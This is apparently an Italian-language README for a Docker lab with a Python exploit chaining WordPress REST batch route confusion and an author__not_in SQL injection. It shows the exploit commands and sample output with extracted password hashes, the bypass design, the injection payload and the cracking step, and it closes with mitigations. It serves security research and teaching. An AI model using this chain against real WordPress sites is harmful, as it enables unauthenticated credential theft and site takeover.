
Laboratorio WordPress vulnerabile basato su Docker con exploit in Python che dimostra confusione di route pre-autenticazione e catena di SQL injection (CVE-2026-63030 + CVE-2026-60137) per l'estrazione di credenziali e RCE.
| CVE | Componente | Descrizione |
|---|
| CVE-2026-63030 | REST API /wp-json/batch/v1 | Route confusion: desincronizzazione tra validazione e dispatch delle sub-request |
| CVE-2026-60137 | WP_Query (author__not_in) | SQL injection quando il valore è una stringa invece di un array |
Incatinate, consentono a un attaccante senza alcuna credenziale di eseguire SQL arbitrario (e, nella sequenza completa, di arrivare a RCE). Corretto in WordPress 6.9.5 e 7.0.2. Versioni interessate dalla catena RCE: 6.9.0–6.9.4 e 7.0.0–7.0.1.
⚠️ Avviso: ambiente volutamente insicuro. Usalo solo localmente, in isolamento. Non esporlo mai su internet. L'exploit deve essere usato solo contro questo lab (o sistemi per i quali hai un'autorizzazione esplicita).
docker compose up -d db wordpress # sobe MySQL + WordPress 7.0.1
docker compose run --rm wpcli # instala o WP e cria conteúdo/usuários
Questo crea:
admin / SuperSecret123!victim / Victim_P@ss_2026 (secondo admin, bersaglio dell'estrazione dell'hash)get_items() restituisca righe)Conferma la versione vulnerabile:
curl -s "http://localhost:8080/index.php?rest_route=/" | grep -o '"version":"[^"]*"'
# ... ou:
docker exec wp2shell-cli wp core version # 7.0.1
python3 exploit.py --url http://localhost:8080
Output (riassunto):
[+] Route confusion OK: GET /wp/v2/users executou sob posts get_items()
[+] SQL injection cega confirmada (oráculo booleano 1=1 vs 1=2)
[*] Fingerprint do banco de dados:
versão MySQL = 8.0.46
usuário atual = wordpress@%
database = wordpress
[+] Credenciais extraídas (pré-autenticação, sem login):
ID=1 login=admin
hash=$wp$2y$10$tjd0.l/QQOhp9eQpwrufMuYVrjv4kVoJMfmA3f2ZZew51rND7o94q
ID=2 login=victim
hash=$wp$2y$10$3Nv1oxyfIe/yKqNd/AUZSOZqQYWiJHfNAKBPdbjMhqTtVBDbuBO0e
Altre opzioni:
python3 exploit.py --url http://localhost:8080 --sql "SELECT @@version" # SQL arbitrario
python3 exploit.py --url http://localhost:8080 --mode time # blind time-based
python3 exploit.py --url http://localhost:8080 -v # mostra ogni query
L'exploit usa solo la libreria standard di Python 3 (senza dipendenze).
docker exec wp2shell-db mysql -uroot -prootpass -N \
-e "SELECT ID,user_login,user_pass FROM wordpress.wp_users;"
Gli hash devono essere identici a quelli estratti dall'exploit (che non ha mai avuto accesso al database).
serve_batch_request_v1)In wp-includes/rest-api/class-wp-rest-server.php, l'handler del batch usa due array
paralleli: $matches (rotta/handler abbinati) e $validation (risultato della validazione):
foreach ( $requests as $single_request ) {
if ( is_wp_error( $single_request ) ) { // ex.: path "///" -> wp_parse_url()==false
$has_error = true;
$validation[] = $single_request; // <-- entra SÓ em $validation
continue; // <-- $matches NÃO recebe entrada => desync!
}
$match = $this->match_request_to_handler( $single_request );
$matches[] = $match;
...
$validation[] = $error ? $error : true;
}
Nel dispatch, l'handler viene letto per indice in $matches[$i], mentre $single_request
e $validation[$i] seguono l'indice completo di $requests. Un primer che fallisce il
parse ("///") sposta tutto in $matches di una posizione — quindi una sub-request viene
eseguita sotto l'handler di un'altra.
Lo schema del batch accetta solo metodi POST/PUT/PATCH/DELETE (GET viene rifiutato con
rest_not_in_enum). L'exploit aggira il tutto con batch dentro batch:
BATCH EXTERNO (métodos válidos):
[ primer("///"),
carrier = POST /wp/v2/posts (body = BATCH INTERNO),
POST /batch/v1 ]
carrier viene validato come create_item dei post (passa: allow_batch=true, senza
parametri obbligatori). Poiché non viene validato come batch, il suo body sfugge alla
validazione dell'enum dei metodi.carrier venga instradato sotto l'handler /batch/v1 (rubato
dalla 3ª sub-request) → serve_batch_request_v1 processa il body grezzo, con sub-request GET.BATCH INTERNO:
[ primer("///"),
GET /wp/v2/users?author_exclude=<PAYLOAD>, <-- users NÃO define author_exclude => valor cru
GET /wp/v2/posts ]
Nuovo desync interno → la request GET /wp/v2/users (che trasporta author_exclude non
sanificato) viene eseguita sotto posts get_items(). Qui:
// class-wp-rest-posts-controller.php
'author_exclude' => 'author__not_in', // mapeamento
E in WP_Query (class-wp-query.php), il codice vulnerabile:
if ( ! empty( $query_vars['author__not_in'] ) ) {
if ( is_array( $query_vars['author__not_in'] ) ) { // <-- string PULA a sanitização
$query_vars['author__not_in'] = array_unique( array_map( 'absint', ... ) );
sort( ... );
}
$author__not_in = implode( ',', (array) $query_vars['author__not_in'] );
$where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) "; // <-- injeção
}
Payload booleano usato: 0) AND (<condizione>)-- -, che trasforma la WHERE in un oracolo
(lista con post = vero; lista vuota = falso). Estrazione carattere per carattere tramite ricerca binaria.
Nota: il percorso è raggiungibile quando non c'è object cache persistente (il default del lab), come descritto nell'advisory.
Questo lab valida la parte pre-autenticazione (route confusion → SQLi → fuga di hash), che è il cuore della catena. La sequenza completa dell'advisory prosegue con:
$wp$2y$... (bcrypt) offline — hashcat -m 3200./wp-admin con la password recuperata.author__not_in a interi (wp_parse_id_list) anche quando è una stringa;/wp-json/batch/v1, disabilitare la REST API
non autenticata, monitorare le request con author_exclude contenente SQL.docker compose down -v # remove containers + volumes (dados)